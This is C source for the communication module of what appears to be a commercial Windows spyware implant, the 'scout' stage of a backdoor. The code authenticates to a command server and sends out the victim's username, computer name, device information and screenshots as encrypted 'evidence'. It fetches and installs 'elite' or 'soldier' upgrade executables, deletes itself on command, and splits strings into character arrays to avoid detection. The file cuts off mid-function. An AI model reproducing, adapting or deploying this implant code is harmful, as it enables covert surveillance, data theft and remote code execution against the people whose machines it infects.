#include #include #include #include #include #include "binpatched_vars.h" #include "proto.h" #include "md5.h" #include "sha1.h" #include "crypt.h" #include "base64.h" #include "win_http.h" #include "upgrade.h" #include "log_files.h" #include "agent_device.h" #include "agent_screenshot.h" #include "api.h" #include "main.h" #undef _GLOBAL_VERSION_FUNCTIONS_ //be sure not to include the global function (multiple declaration error) #include "version.h" BYTE pServerKey[32]; BYTE pConfKey[32]; BYTE pSessionKey[20]; BYTE pLogKey[32]; extern PDEVICE_CONTAINER pDeviceContainer; extern PULONG uSynchro; extern PDYNAMIC_WINSOCK dynamicWinsock; BOOL SendInfo(LPWSTR pInfoString) { PBYTE pHeaderBuffer; ULONG uHeaderSize; BOOL bRetVal = TRUE; // payload PBYTE pCryptedString = (PBYTE)malloc(Align(wcslen(pInfoString)*sizeof(WCHAR), 16)); memset(pCryptedString, 0x0, Align(wcslen(pInfoString)*sizeof(WCHAR), 16)); memcpy(pCryptedString, pInfoString, wcslen(pInfoString)*sizeof(WCHAR)); Encrypt(pCryptedString, Align(wcslen(pInfoString)*sizeof(WCHAR), 16), pLogKey, PAD_NOPAD); //header CreateLogFile(PM_INFOSTRING, NULL, 0, FALSE, &pHeaderBuffer, &uHeaderSize); //total_len + header + payload_len_clear + payload ULONG uTotalLen = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(wcslen(pInfoString)*sizeof(WCHAR), 16); PBYTE pBuffer = (PBYTE) malloc(uTotalLen); memset(pBuffer, 0x0, uTotalLen); *(PULONG)pBuffer = uTotalLen; // total_len memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize); // header *(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = Align(wcslen(pInfoString)*sizeof(WCHAR), 16); // payload_len_clear memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pCryptedString, Align(wcslen(pInfoString)*sizeof(WCHAR), 16)); PBYTE pCryptedBuffer; if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, uTotalLen, pSessionKey, &pCryptedBuffer))) { ULONG uResponseLen; PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (pResponseBuffer) { Decrypt(pResponseBuffer, uResponseLen, pSessionKey); if (uResponseLen >= sizeof(DWORD) && *(PULONG)pResponseBuffer != PROTO_OK) { #ifdef _DEBUG OutputDebugString(L"[!!] Failed to send Info\n"); #endif bRetVal = FALSE; } free(pResponseBuffer); } } free(pCryptedString); free(pBuffer); return bRetVal; } #pragma optimize("", off) BOOL SendEvidences() { BOOL bRetVal = TRUE; ULONG uHeaderSize; PBYTE pHeaderBuffer; // DEVICE FIRST if (pDeviceContainer) { // payload ULONG a = Align(pDeviceContainer->uSize, 16); PBYTE pCryptedDeviceBuffer = (PBYTE)malloc(Align(pDeviceContainer->uSize, 16)); memset(pCryptedDeviceBuffer, 0x0, Align(pDeviceContainer->uSize, 16)); memcpy(pCryptedDeviceBuffer, pDeviceContainer->pDataBuffer, pDeviceContainer->uSize); Encrypt(pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16), pLogKey, PAD_NOPAD); // header CreateLogFile(PM_DEVICEINFO, NULL, 0, FALSE, &pHeaderBuffer, &uHeaderSize); // total_len + header + payload_len_clear + payload PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16)); memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + pDeviceContainer->uSize); // total_len *(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16); //header memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize); // payload_len_clear //*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = Align(pDeviceContainer->uSize, 16); *(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = pDeviceContainer->uSize; // payload memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16)); PBYTE pCryptedBuffer; if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16), pSessionKey, &pCryptedBuffer))) { ULONG uResponseLen; PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (pResponseBuffer) { Decrypt(pResponseBuffer, uResponseLen, pSessionKey); if (uResponseLen >= sizeof(DWORD) && *(PULONG)pResponseBuffer == PROTO_OK) { free(pDeviceContainer->pDataBuffer); free(pDeviceContainer); pDeviceContainer = NULL; } else { bRetVal = FALSE; #ifdef _DEBUG OutputDebugString(L"[!!] got not PROTO_OK @ proto.cpp:81\n"); #endif } free(pResponseBuffer); } else { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:81\n"); #endif bRetVal = FALSE; } } else { #ifdef _DEBUG OutputDebugString(L"[W] WinHTTPSendData FAIL @ proto.cpp:85\n"); #endif bRetVal = FALSE; } free(pCryptedDeviceBuffer); free(pBuffer); } #ifdef _DEBUG // else // OutputDebugString(L"[*] No DeviceInfo\n"); #endif // SCREENSHOT if (*(PULONG)SCREENSHOT_FLAG == 0) { ULONG uScreenShotLen; PBYTE pJPEGBuffer = TakeScreenshot(&uScreenShotLen); if (!pJPEGBuffer || !uScreenShotLen) { #ifdef _DEBUG OutputDebugString(L"[!!] no pJPEGBuffer or uScreenShotLen!\n"); #endif } else { //payload pJPEGBuffer = (PBYTE)realloc(pJPEGBuffer, Align(uScreenShotLen, 16)); Encrypt(pJPEGBuffer, Align(uScreenShotLen, 16), pLogKey, PAD_NOPAD); // additional header WCHAR pProcessName[] = { L'U', L'N', L'K', L'N', L'O', L'W', L'N', L'\0' }; ULONG uAddHeaderSize = sizeof(SNAPSHOT_ADDITIONAL_HEADER) + wcslen(pProcessName)*sizeof(WCHAR) + wcslen(pProcessName)*sizeof(WCHAR); PSNAPSHOT_ADDITIONAL_HEADER pSnapAddHeader = (PSNAPSHOT_ADDITIONAL_HEADER)malloc(uAddHeaderSize); pSnapAddHeader->uProcessNameLen = wcslen(pProcessName)*sizeof(WCHAR); pSnapAddHeader->uWindowNameLen = wcslen(pProcessName)*sizeof(WCHAR); pSnapAddHeader->uVersion = LOG_SNAP_VERSION; memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER), pProcessName, pSnapAddHeader->uProcessNameLen); memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER) + pSnapAddHeader->uProcessNameLen, pProcessName, pSnapAddHeader->uWindowNameLen); // header CreateLogFile(PM_SCREENSHOT, (PBYTE)pSnapAddHeader, uAddHeaderSize, FALSE, &pHeaderBuffer, &uHeaderSize); // total_len + header + payload_len_clear + payload PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16)); memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16)); // total_len *(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16); //header memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize); // payload_len_clear *(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = uScreenShotLen;//Align(uScreenShotLen, 16); // payload memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pJPEGBuffer, Align(uScreenShotLen, 16)); PBYTE pCryptedBuffer; if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16), pSessionKey, &pCryptedBuffer))) { ULONG uResponseLen; PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (pResponseBuffer) { Decrypt(pResponseBuffer, uResponseLen, pSessionKey); if (uResponseLen < sizeof(DWORD) || *(PULONG)pResponseBuffer != PROTO_OK) { #ifdef _DEBUG OutputDebugString(L"[!!] PROTO_ERR sending screenshot\n"); #endif bRetVal = FALSE; } free(pResponseBuffer); free(pCryptedBuffer); } else { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:157\n"); #endif bRetVal = FALSE; } } else { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:162\n"); #endif bRetVal = FALSE; } free(pBuffer); free(pJPEGBuffer); free(pSnapAddHeader); } } return bRetVal; } #pragma optimize("", on) BOOL SyncWithServer() { PBYTE pRandomData, pProtoMessage, pInstanceId, pCryptedBuffer; ULONG uGonnaDie, uGonnaUpdate; BYTE pHashBuffer[20]; BOOL bRetVal = FALSE; uGonnaDie = uGonnaUpdate = 0; memcpy(pServerKey, CLIENT_KEY, 32); memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32); #ifdef _DEBUG_BINPATCH MD5((PBYTE)CLIENT_KEY, 32, pServerKey); MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, pConfKey); #endif pRandomData = (PBYTE)malloc(16); GenerateRandomData(pRandomData, 16); PBYTE pBuffer = (PBYTE)malloc(32); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pRandomData, 16); CalculateSHA1(pHashBuffer, pBuffer, 32); free(pBuffer); pInstanceId = (PBYTE)malloc(20); GetUserUniqueHash(pInstanceId, 20); // proto_v + rand + sha1(conf_key + rand) + bdoor_id(padded) + instance_id + subtype + randpool (FIXME) ULONG uRandPoolLen = GetRandomInt(128, 1024); ULONG uCryptBufferLen = Align(sizeof(ULONG) + 16 + 20 + strlen(BACKDOOR_ID) + 2 + 20 + sizeof(ULONG), 16); ULONG uMessageLen = uCryptBufferLen + uRandPoolLen; pProtoMessage = (PBYTE)malloc(uMessageLen); PBYTE pMessageBuffer = pProtoMessage; // proto version *(PULONG)pMessageBuffer = 0x1; pMessageBuffer += sizeof(ULONG); // kd memcpy(pMessageBuffer, pRandomData, 16); pMessageBuffer += 16; // sha1(conf_key + kd) memcpy(pMessageBuffer, pHashBuffer, 20); pMessageBuffer += 20; // backdoor_id memcpy(pMessageBuffer, BACKDOOR_ID, strlen(BACKDOOR_ID) + 2); pMessageBuffer += strlen(BACKDOOR_ID); memcpy(pMessageBuffer, "\x00\x00", 0x2); // 16 byte padding (id is 14byte fixed len) pMessageBuffer += 0x2; // instance id memcpy(pMessageBuffer, pInstanceId, 20); pMessageBuffer += 20; // subtype pMessageBuffer[0] = 0x0; // ARCH: windows /* determine whether it's a demo scout or not : - cautiously set demo to 0 (i.e. release) - if stars align properly set to demo */ pMessageBuffer[1] = 0x0; // TYPE: release SHA1Context sha; SHA1Reset(&sha); SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1)); if (SHA1Result(&sha)) { /* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */ unsigned nDemoTag[5]; nDemoTag[0] = 1575563797; nDemoTag[1] = 2264195072; nDemoTag[2] = 3570558757; nDemoTag[3] = 2213518012; nDemoTag[4] = 971935466; if( nDemoTag[0] == sha.Message_Digest[0] && nDemoTag[1] == sha.Message_Digest[1] && nDemoTag[2] == sha.Message_Digest[2] && nDemoTag[3] == sha.Message_Digest[3] && nDemoTag[4] == sha.Message_Digest[4] ) { pMessageBuffer[1] = 0x1; } } pMessageBuffer[2] = 0x1; // STAGE: scout pMessageBuffer[3] = 0x0; // FLAG: reserved // encrypt Encrypt(pProtoMessage, uCryptBufferLen, pServerKey, PAD_NOPAD); // append random block GenerateRandomData(pProtoMessage + uCryptBufferLen, uRandPoolLen); // base64 everything PBYTE pBase64Message = (PBYTE)base64_encode(pProtoMessage, uMessageLen); // send request ULONG uResponseLen; ULONG uRet = WinHTTPSendData(pBase64Message, strlen((char *)pBase64Message)); free(pBase64Message); if (!uRet) { free(pRandomData); free(pInstanceId); free(pProtoMessage); #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:234\n"); #endif return FALSE; } // get response PBYTE pHttpResponseBufferB64 = WinHTTPGetResponse(&uResponseLen); if (!pHttpResponseBufferB64) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:244\n"); #endif return FALSE; } // base64 ULONG uOut; PBYTE pProtoResponse = base64_decode((char *)pHttpResponseBufferB64, uResponseLen, (int *)&uOut); free(pHttpResponseBufferB64); if (uOut < sizeof(PROTO_RESPONSE_AUTH)) return FALSE; // FIXME free // decrypt Decrypt(pProtoResponse, uOut, pConfKey); // fill packet PROTO_RESPONSE_AUTH pProtoResponseId; memcpy(&pProtoResponseId, pProtoResponse, sizeof(PROTO_RESPONSE_AUTH)); free(pProtoResponse); // first sha1 pBuffer = (PBYTE)malloc(16 + sizeof(pProtoResponseId.pRandomData) + 16); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData)); memcpy(pBuffer + 16 + sizeof(pProtoResponseId.pRandomData), pRandomData, 16); CalculateSHA1(pHashBuffer, pBuffer, 16 + sizeof(pProtoResponseId.pRandomData) + 16); free(pBuffer); PBYTE pFirstSha1Digest = (PBYTE)malloc(20); memcpy(pFirstSha1Digest, pHashBuffer, 20); // second sha1 pBuffer = (PBYTE)malloc(20 + 16); memcpy(pBuffer, pFirstSha1Digest, 20); memcpy(pBuffer + 20, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData)); CalculateSHA1(pHashBuffer, pBuffer, 20 + sizeof(pProtoResponseId.pRandomData)); free(pBuffer); free(pFirstSha1Digest); if (memcmp(pHashBuffer, pProtoResponseId.pSha1Digest, 20)) { #ifdef _DEBUG OutputDebugString(L"[!!] Ouch SHA1 does not match !!!\n"); #endif return FALSE; } // AUTH DONE \o/ #ifdef _DEBUG OutputDebugString(L"[+] PROTO_AUTH succeded !!\n"); #endif // session key sha1(conf_key + ks + kd) pBuffer = (PBYTE)malloc(48); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pProtoResponseId.pRandomData, 16); memcpy(pBuffer + 16 + 16, pRandomData, 16); CalculateSHA1(pSessionKey, pBuffer, 48); free(pBuffer); if (pProtoResponseId.uProtoCommand != PROTO_OK && pProtoResponseId.uProtoCommand != PROTO_NO && pProtoResponseId.uProtoCommand != PROTO_UNINSTALL) { #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[!!] Invalid PROTO command %08x", pProtoResponseId.uProtoCommand); OutputDebugString(pDebugString); free(pDebugString); #endif return FALSE; } if (pProtoResponseId.uProtoCommand == PROTO_NO) { #ifdef _DEBUG OutputDebugString(L"[!!] Got PROTO_NO\n"); #endif return FALSE; } else if (pProtoResponseId.uProtoCommand == PROTO_UNINSTALL) { #ifdef _DEBUG OutputDebugString(L"[+] Got PROTO_UNINSTALL, I'm gonna die :(\n"); #endif if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer))) free(pCryptedBuffer); WinHTTPClose(); DeleteAndDie(TRUE); } // send ID ULONG uStringLong = 32767 * sizeof(WCHAR); PWCHAR pUserName = (PWCHAR)malloc(uStringLong); PWCHAR pComputerName = (PWCHAR)malloc(uStringLong); WCHAR strUser[] = { L'U', L'S', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' }; WCHAR strComputer[] = { L'C', L'O', L'M', L'P', L'U', L'T', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' }; if (!GetEnvironmentVariable(strUser, pUserName, uStringLong)) pUserName[0] = L'\0'; if (!GetEnvironmentVariable(strComputer, pComputerName, uStringLong)) pComputerName[0] = L'\0'; // Prepare ID buffer ULONG uUserLen, uComputerLen, uSourceLen = 0; PBYTE pUserNamePascal = PascalizeString(pUserName, &uUserLen); PBYTE pComputerNamePascal = PascalizeString(pComputerName, &uComputerLen); PBYTE pSourceIdPascal = PascalizeString(L"", &uSourceLen); free(pUserName); free(pComputerName); ULONG uBuffLen = sizeof(ULONG) + uUserLen + uComputerLen + uSourceLen; pBuffer = (PBYTE)malloc(uBuffLen); *(PULONG)pBuffer = BUILD_VERSION; memcpy(pBuffer + sizeof(ULONG), pUserNamePascal, uUserLen); memcpy(pBuffer + sizeof(ULONG) + uUserLen, pComputerNamePascal, uComputerLen); memcpy(pBuffer + sizeof(ULONG) + uUserLen + uComputerLen, pSourceIdPascal, uSourceLen); free(pUserNamePascal); free(pComputerNamePascal); free(pSourceIdPascal); // Send ID if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_ID, pBuffer, uBuffLen, pSessionKey, &pCryptedBuffer))) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData @ proto.cpp:381\n"); #endif free(pBuffer); return FALSE; } free(pCryptedBuffer); free(pBuffer); // Get reponse PBYTE pHttpResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (!pHttpResponseBuffer || uResponseLen < sizeof(PROTO_RESPONSE_ID)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:387\n"); #endif if (pHttpResponseBuffer) free(pHttpResponseBuffer); return FALSE; } // decrypt it Decrypt(pHttpResponseBuffer, uResponseLen, pSessionKey); PPROTO_RESPONSE_ID pResponseId = (PPROTO_RESPONSE_ID)pHttpResponseBuffer; #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] Got PROTO_ID PROTO - uProtoCommand: %08x, uMessageLen: %08x, uAvailables: %d\n", pResponseId->uProtoCommand, pResponseId->uMessageLen, pResponseId->uAvailables); OutputDebugString(pDebugString); free(pDebugString); #endif // parse availables if (pResponseId->uAvailables) { PULONG pAvailables = (&pResponseId->uAvailables) + 1; for (ULONG i=0; iuAvailables; i++) { #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L" - Available %08x\n", pAvailables[i]); OutputDebugString(pDebugString); free(pDebugString); #endif // AVAILABLE STUFF HERE THERE AND EVERYWHERE if (pAvailables[i] == PROTO_UPGRADE) { #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] Got PROTO_UPGRADE, requesting executables\n"); OutputDebugString(pDebugString); free(pDebugString); #endif if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &pCryptedBuffer))) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @proto.cpp:435\n"); #endif return FALSE; } free(pCryptedBuffer); PBYTE pHttpUpgradeBuffer = WinHTTPGetResponse(&uResponseLen); if (!pHttpUpgradeBuffer || uResponseLen < sizeof(PROTO_RESPONSE_UPGRADE)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:433\n"); #endif if (pHttpUpgradeBuffer) free(pHttpUpgradeBuffer); return FALSE; // FIXME FREE } #ifdef _DEBUG OutputDebugString(L"[*] Got Upgrade\n"); #endif Decrypt(pHttpUpgradeBuffer, uResponseLen, pSessionKey); PPROTO_RESPONSE_UPGRADE pProtoUpgrade = (PPROTO_RESPONSE_UPGRADE)pHttpUpgradeBuffer; PWCHAR pUpgradeName = (PWCHAR)malloc(pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR)); if (!pUpgradeName) { #ifdef _DEBUG OutputDebugString(L"[!!] pUpgradeName fail\n"); #endif free(pHttpUpgradeBuffer); return FALSE; // FIXME FREE } SecureZeroMemory(pUpgradeName, pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR)); memcpy(pUpgradeName, &pProtoUpgrade->pUpgradeNameBuffer, pProtoUpgrade->uUpgradeNameLen); #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] PROTO_UPGRADE - uProtoCommand: %08x, uResponseLen: %x, uUpgradeLeft: %d, uUpgradeNameLen: %d, pUpgradeName: %s\n", pProtoUpgrade->uProtoCommand, pProtoUpgrade->uResponseLen, pProtoUpgrade->uUpgradeLeft, pProtoUpgrade->uUpgradeNameLen, pUpgradeName); OutputDebugString(pDebugString); free(pDebugString); #endif ULONG uFileLength = *(PULONG) (((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen); PBYTE pFileBuffer = (PBYTE)(((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG); //if (!wcscmp(pUpgradeName, L"elite")) if (pUpgradeName[0] == L'e' && pUpgradeName[1] == L'l') { if (UpgradeElite(pUpgradeName, pFileBuffer, uFileLength)) uGonnaDie = 1; else { WCHAR pMessage[] = { L'E', L'l', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } //if (!wcscmp(pUpgradeName, L"scout")) if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'c') { if (!UpgradeScout(pUpgradeName, pFileBuffer, uFileLength)) { WCHAR pMessage[] = { L'S', L'c', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'o') { if (!UpgradeSoldier(pUpgradeName, pFileBuffer, uFileLength)) { WCHAR pMessage[] = { L'S', L'o', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } //if (!wcscmp(pUpgradeName, L"recover")) //if (pUpgradeName[0] == L'r' && pUpgradeName[1] == L'e') //{ // if (!UpgradeRecover(pUpgradeName, pFileBuffer, uFileLength)) // { // WCHAR pMessage[] = { L'R', L'e', L'c', L'F', L'a', L'i', L'l', L'\0' }; // SendInfo(pMessage); // } //} free(pUpgradeName); free(pHttpUpgradeBuffer); } } } free(pHttpResponseBuffer); if (SendEvidences()) bRetVal = TRUE; // send BYE #ifdef _DEBUG OutputDebugString(L"[*] Sending PROTO_BYE\n"); #endif if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer))) free(pCryptedBuffer); #ifdef _DEBUG else OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:499\n"); #endif if (uGonnaDie == 1) { WinHTTPClose(); DeleteAndDie(TRUE); } free(pProtoMessage); free(pInstanceId); free(pRandomData); return bRetVal; } VOID CalculateSHA1(PBYTE pSha1Buffer, PBYTE pBuffer, ULONG uBufflen) { SHA1Context pSha1Context; SHA1Reset(&pSha1Context); SHA1Input(&pSha1Context, pBuffer, uBufflen); SHA1Result(&pSha1Context); for(ULONG x=0; x<5; x++) ((PULONG)pSha1Buffer)[x] = dynamicWinsock->fpntohl(pSha1Context.Message_Digest[x]); } ULONG CommandHash(ULONG uProtoCmd, PBYTE pMessage, ULONG uMessageLen, PBYTE pEncryptionKey, PBYTE *pOutBuff) { ULONG uOut, uOutClear; PBYTE pBuffer, pOutBuffer; BYTE pSha1Digest[20]; uOutClear = sizeof(ULONG) + uMessageLen + 20; uOut = uOutClear; if (uOut % 16) uOut += 16 - (uOut % 16); else uOut += 16; // sha1(PROTO_* + version + message) pBuffer = (PBYTE)malloc(sizeof(ULONG) + uMessageLen); // FIXME: free this *(PULONG)pBuffer = uProtoCmd; if (pMessage) memcpy(pBuffer + sizeof(ULONG), pMessage, uMessageLen); CalculateSHA1(pSha1Digest, pBuffer, uMessageLen + sizeof(ULONG)); // clear-text(cmd + message + sha1) pOutBuffer = (PBYTE)malloc(uOut); // FIXME user pBuffer && realloc here *(PULONG)pOutBuffer = uProtoCmd; if (pMessage) memcpy(pOutBuffer + sizeof(ULONG), pMessage, uMessageLen); memcpy(pOutBuffer + sizeof(ULONG) + uMessageLen, pSha1Digest, 20); Encrypt(pOutBuffer, uOutClear, pEncryptionKey, PAD_PKCS5); *pOutBuff = pOutBuffer; return uOut; } BOOL GetUserUniqueHash(PBYTE pUserHash, ULONG uHashSize) { HANDLE hToken=0; PTOKEN_USER pTokenOwner=NULL; DWORD dwLen=0; LPSTR pStringSid; BOOL bRetVal = FALSE; if (!pUserHash) return FALSE; memset(pUserHash, 0, uHashSize); if (uHashSize < SHA_DIGEST_LENGTH) return FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY| TOKEN_QUERY_SOURCE, &hToken)) { GetTokenInformation(hToken, TokenUser, pTokenOwner, 0, &dwLen); if (dwLen) pTokenOwner = (PTOKEN_USER)malloc(dwLen); if (pTokenOwner) { memset(pTokenOwner, 0, dwLen); if (GetTokenInformation(hToken, TokenUser, pTokenOwner, dwLen, &dwLen) && ConvertSidToStringSidA(pTokenOwner->User.Sid, &pStringSid)) { SHA1Context sha; SHA1Reset(&sha); SHA1Input(&sha, (PBYTE)pStringSid, (DWORD)(strlen(pStringSid))); if (SHA1Result(&sha)) { for (int i=0; i<5; i++) sha.Message_Digest[i] = dynamicWinsock->fpntohl(sha.Message_Digest[i]); memcpy(pUserHash, sha.Message_Digest, SHA_DIGEST_LENGTH); bRetVal = TRUE; } LocalFree(pStringSid); } free(pTokenOwner); } CloseHandle(hToken); } return bRetVal; } ULONG GetRandomInt(ULONG uMin, ULONG uMax) { static BOOL uFirstTime = TRUE; if (uFirstTime) { srand(GetTickCount()); uFirstTime = FALSE; } if (uMax < (ULONG) 0xFFFFFFFF) uMax++; return (rand()%(uMax-uMin))+uMin; } PWCHAR GetRandomString(ULONG uMin) { PWCHAR pString = (PWCHAR)malloc((uMin + 64) * sizeof(WCHAR)); pString[0] = L'\0'; while(wcslen(pString) < uMin) { WCHAR pSubString[32] = { 0x0, 0x0 }; _itow_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10); wcscat_s(pString, uMin + 64, pSubString); } return pString; } VOID GenerateRandomData(PBYTE pBuffer, ULONG uBuffLen) { ULONG i; static BOOL uFirstTime = TRUE; if (uFirstTime) { srand(GetTickCount()); uFirstTime = FALSE; } for (i=0; i